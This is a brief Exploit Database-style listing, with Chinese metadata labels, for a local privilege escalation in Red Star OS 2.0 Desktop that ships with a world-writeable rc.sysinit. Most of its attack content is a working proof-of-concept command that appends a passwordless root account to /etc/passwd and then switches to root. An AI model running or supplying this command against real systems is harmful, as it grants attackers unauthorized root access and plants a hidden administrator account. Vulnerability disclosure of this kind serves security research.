RedStar 2.0 Desktop – ‘World-writeable rc.sysinit’ Local Privilege Escalation

• Exploit Database
• 120 阅读

• 作者： prdelka
  日期： 2015-01-11
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/35748/
• 1 2 3 4 5 6 7 8 9 10 11 12 13

  Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit" which can be abused to execute commands on boot. An example exploitation of this vulnerability is shown here https://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.png   PoC:   /bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwd su - root     ## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6